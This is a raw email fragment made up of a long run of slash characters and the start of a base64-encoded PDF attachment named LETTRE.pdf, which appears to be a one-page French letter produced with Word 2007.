//////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// ------=_Part_1674_23012815.1387175386345 Content-Type: application/pdf; name=LETTRE.pdf content-transfer-encoding: base64 Content-Disposition: attachment; size=229940; size=230079; filename=LETTRE.pdf JVBERi0xLjUNCiW1tbW1DQoxIDAgb2JqDQo8PC9UeXBlL0NhdGFsb2cvUGFnZXMgMiAwIFIvTGFu Zyhmci1GUikgPj4NCmVuZG9iag0KMiAwIG9iag0KPDwvVHlwZS9QYWdlcy9Db3VudCAxL0tpZHNb IDMgMCBSXSA+Pg0KZW5kb2JqDQozIDAgb2JqDQo8PC9UeXBlL1BhZ2UvUGFyZW50IDIgMCBSL1Jl c291cmNlczw8L0ZvbnQ8PC9GMSA1IDAgUi9GMiA3IDAgUi9GMyA5IDAgUj4+L1Byb2NTZXRbL1BE Ri9UZXh0L0ltYWdlQi9JbWFnZUMvSW1hZ2VJXSA+Pi9NZWRpYUJveFsgMCAwIDU5NS4zMiA4NDEu OTJdIC9Db250ZW50cyA0IDAgUi9Hcm91cDw8L1R5cGUvR3JvdXAvUy9UcmFuc3BhcmVuY3kvQ1Mv RGV2aWNlUkdCPj4vVGFicy9TPj4NCmVuZG9iag0KNCAwIG9iag0KPDwvRmlsdGVyL0ZsYXRlRGVj b2RlL0xlbmd0aCAxNjcyPj4NCnN0cmVhbQ0KeJy1WEtv40YMvgfwf+DNUhHPavS0eirS7C66aIA+ cgt6UGwlq8C2HI8UFP21i57WPfQ3lOQ8JNlRVBQoimZleYZDfvz4keOr29nFuw8SZAi3D7MLCQH+ JyELxDKMIUsDESzhdju7COCR/nycXdx5V/4i9KpyB0XlLyJv68vIO/qxdwn+b3D7aXbxHq1e3Xbm ZJihvb65O29srT06CkUYmrWfSrQO/iLXZ/GnHR1d63cR/8+vb/xF4h14+YgvaSyCdGj/p6Ld+Avc 8yNFRnbuyTo9NI2f4sPrtsIwF4Ec2ho7N8RFp2s5BkKOXUcXpNSPMr3Bf4oKZM4v4xjW1iMdedFg xFW9o3CLDeehOfqZB5yc9/SHg/noL/UnoUF8qVtaq6DcvdSVDXcqGXIpYuv0yvq7J0MENUWgSvSH PWswUalLiFLFYwl7OlWaxKh6Q+dqp8la1ZS++e6lbmj3wZ5RrChAWlTTOwaBicCH61h446aAwxFT ZbBQRcPg4GreM0cYePEO13Se10/GzQbW5RQIQSxSCwIbrc8yAc9ovnWZstYx5Jb49ZnX63AptFhH 5ojNfukAOCiXc/6C7VYKWkJIx3aPx5kw2YCrB9qksyHGwoqyVET5MKwJCFLcktkC/r7EwxF2ZlSC jNpTiAU5XvzdwL5sQWm3U0/xd6UJuIF7xzzt/MtB0/2ZLHX4WbL6uWE9v92WxHNGbqdTyqgqZVf8 4dhZIM8JrQaeW+tBl5Xd2UFT8aehyJe9Ohg6QGciA5WAT3OKr/Bl4FXA8Og4aU9BFLRFxGl+7rIL pWroVQcNx6GJo0rQakT70CanvDISUKL6LjL9zlDCkuFoK8cmQO8BIi4bQkqiV+hxAy8VkdMU8mRN pHEupAWEj55XDpEHQqPuPH0l3p6uG7mAp5rCcIWtsHbY2wbBy7y6qxMWCpYeqpNYbwE+FOPxUTV7 mtmH5cjmCoKyt0IRArER0bUWZlz3yMxcW6EW8KvdsTElvxqBKMHCwqbXgwgW2P9ifF7deZPIRomI zLaAd5ygtinhmhjIBUUV0Wmh05N5Adw+nlrVVA+Ea3W8hJb9ZiPcLGqiKe9Gm2pO5MCKbYoNfvRl 6I3pfEmbh2IDa42iIsCxANgVJv0jn8dqfjQ8ONo+yxB33W90jLDQhFIklnRPc5SNle+a9ZBUiEGx oewlOK8gnfdci7ZSN0a4UF46HsRQcCxqVDjDNBehHLox4XKSR2KZDqYZJzksjQRBxUROMWurlSnz vQE6O0lsASMNCKWn6821Ul+xhFGjVb3d+ibnXah5gHwMAjbLM4KjUK3lFTdpP6B1VT0V6TKg8eqs S1rHXgkbEzPnOGxDfCVy/Zrq1iogxoSMCYbTn6PbWOpyHP6SoZMOWS7qjUPnZMJgkgLzlUZf1/X+ sg4paA74+JUfuds01aYU8MPGiFJrpqO38UtTEUZOUY0vtlz2HaBr65gGo0KPXAoVEIVMhx3jkFHD mp17GExdbLs6lKZRsdKWWscH1b7Hbh+dm+xoWjGc8K0/zZskFHFkrhoBPub4N0siODyevvmFLyG6 v2vZEi5rp3N77H3HvbNu/GjgkzARd06dH2tdQwXP6RITiiQGKUI4lLOLh29O7hVY4lE2jKO7Mk1F H8Yiyd+47ahyh/zyF0tOkuaYoT9rHI05GWbkCaOes5KiLCIfE7PWzV+Oz5e4dpH2BqF5cSD+Vi8l DxL7Pr/Us+uwXW3gcPVFt16ezfU0ckC5Ide1TT3UUOtO+mqCijSBh8QsWDye6vawOxKBrYjsho64 uH53jm3HBCDALEVD+12No/dKD0JYQeZ6xEVjp4rRWTpYiiDvm4Wu1be70W2U9mS4jbf0hBOoO3ea TTzWDjduDP4Xwqh0Vzcm3QT8dhbiPBW5RckhrbsjjQGng5zVbmo4JXGPEGv5YHj8k779rK8w4601 iqi1Dg6echK7sUzM2p9bN9pcV44W4GjckKRhaq3cr3RLoo/tRNOnaS4fnjblWSytFOhvSFP0E0lY fxq8OYzZygMcAwe2DEX+628WMsHBsm9vPA6Z8LX/zbXvPoQgJQby2u9HsYxEnJ2JIf22UfMtgydz qlj8xBcH3S+u8bZubsEckqRM8R2AYv1Ct2ec2bYlJnZBjZFuBGRSpmxzrS9ItJOaz7nLZ793hajt sRz6S+9N88Gn/6/pmGOcC4HIk6lmE8UxrRrB9zzgaDxH0XJJv0udZ/cfSfN6kg0KZW5kc3RyZWFt DQplbmRvYmoNCjUgMCBvYmoNCjw8L1R5cGUvRm9udC9TdWJ0eXBlL1RydWVUeXBlL05hbWUvRjEv QmFzZUZvbnQvVGltZXMjMjBOZXcjMjBSb21hbixCb2xkL0VuY29kaW5nL1dpbkFuc2lFbmNvZGlu Zy9Gb250RGVzY3JpcHRvciA2IDAgUi9GaXJzdENoYXIgMzIvTGFzdENoYXIgMjM4L1dpZHRocyAx MiAwIFI+Pg0KZW5kb2JqDQo2IDAgb2JqDQo8PC9UeXBlL0ZvbnREZXNjcmlwdG9yL0ZvbnROYW1l L1RpbWVzIzIwTmV3IzIwUm9tYW4sQm9sZC9GbGFncyAzMi9JdGFsaWNBbmdsZSAwL0FzY2VudCA4 OTEvRGVzY2VudCAtMjE2L0NhcEhlaWdodCA2NzcvQXZnV2lkdGggNDI3L01heFdpZHRoIDI1NTgv Rm9udFdlaWdodCA3MDAvWEhlaWdodCAyNTAvTGVhZGluZyA0Mi9TdGVtViA0Mi9Gb250QkJveFsg LTU1OCAtMjE2IDIwMDAgNjc3XSA+Pg0KZW5kb2JqDQo3IDAgb2JqDQo8PC9UeXBlL0ZvbnQvU3Vi dHlwZS9UcnVlVHlwZS9OYW1lL0YyL0Jhc2VGb250L0FCQ0RFRStDYWxpYnJpLEJvbGQvRW5jb2Rp bmcvV2luQW5zaUVuY29kaW5nL0ZvbnREZXNjcmlwdG9yIDggMCBSL0ZpcnN0Q2hhciAzMi9MYXN0 Q2hhciAyMzMvV2lkdGhzIDEzIDAgUj4+DQplbmRvYmoNCjggMCBvYmoNCjw8L1R5cGUvRm9udERl c2NyaXB0b3IvRm9udE5hbWUvQUJDREVFK0NhbGlicmksQm9sZC9GbGFncyAzMi9JdGFsaWNBbmds ZSAwL0FzY2VudCA3NTAvRGVzY2VudCAtMjUwL0NhcEhlaWdodCA3NTAvQXZnV2lkdGggNTM2L01h eFdpZHRoIDE3NTkvRm9udFdlaWdodCA3MDAvWEhlaWdodCAyNTAvU3RlbVYgNTMvRm9udEJCb3hb IC01MTkgLTI1MCAxMjQwIDc1MF0gL0ZvbnRGaWxlMiAxNCAwIFI+Pg0KZW5kb2JqDQo5IDAgb2Jq DQo8PC9UeXBlL0ZvbnQvU3VidHlwZS9UcnVlVHlwZS9OYW1lL0YzL0Jhc2VGb250L0FCQ0RFRStD YWxpYnJpL0VuY29kaW5nL1dpbkFuc2lFbmNvZGluZy9Gb250RGVzY3JpcHRvciAxMCAwIFIvRmly c3RDaGFyIDMyL0xhc3RDaGFyIDMyL1dpZHRocyAxNSAwIFI+Pg0KZW5kb2JqDQoxMCAwIG9iag0K PDwvVHlwZS9Gb250RGVzY3JpcHRvci9Gb250TmFtZS9BQkNERUUrQ2FsaWJyaS9GbGFncyAzMi9J dGFsaWNBbmdsZSAwL0FzY2VudCA3NTAvRGVzY2VudCAtMjUwL0NhcEhlaWdodCA3NTAvQXZnV2lk dGggNTIxL01heFdpZHRoIDE3NDMvRm9udFdlaWdodCA0MDAvWEhlaWdodCAyNTAvU3RlbVYgNTIv Rm9udEJCb3hbIC01MDMgLTI1MCAxMjQwIDc1MF0gL0ZvbnRGaWxlMiAxNiAwIFI+Pg0KZW5kb2Jq DQoxMSAwIG9iag0KPDwvQXV0aG9yKFBDKS9DcmVhdG9yKP7/AE0AaQBjAHIAbwBzAG8AZgB0AK4A IABPAGYAZgBpAGMAZQAgAFcAbwByAGQAIAAyADAAMAA3KS9DcmVhdGlvbkRhdGUoRDoyMDEzMTIx NjA3MDAzOSswMScwMCcpIC9Nb2REYXRlKEQ6MjAxMzEyMTYwNzAwMzkrMDEnMDAnKSAvUHJvZHVj ZXIo/v8ATQBpAGMAcgBvAHMAbwBmAHQArgAgAE8AZgBmAGkAYwBlACAAVwBvAHIAZAAgADIAMAAw ADcpPj4NCmVuZG9iag0KMTIgMCBvYmoNClsgMjUwIDAgMCAwIDAgMCAwIDI3OCAwIDAgMCAwIDI1 MCAwIDI1MCAwIDUwMCA1MDAgMCAwIDUwMCAwIDUwMCAwIDAgNTAwIDMzMyAwIDAgMCAwIDAgOTMw IDAgNjY3IDcyMiA3MjIgNjY3IDAgNzc4IDAgMzg5IDUwMCAwIDY2NyA5NDQgMCAwIDYxMSA3Nzgg MCA1NTYgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCA1MDAgNTU2IDQ0NCA1NTYgNDQ0IDMzMyA1 MDAgNTU2IDI3OCAzMzMgMCAyNzggODMzIDU1NiA1MDAgNTU2IDU1NiA0NDQgMzg5IDMzMyA1NTYg NTAwIDAgNTAwIDAgNDQ0IDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAw IDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAg MCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAw 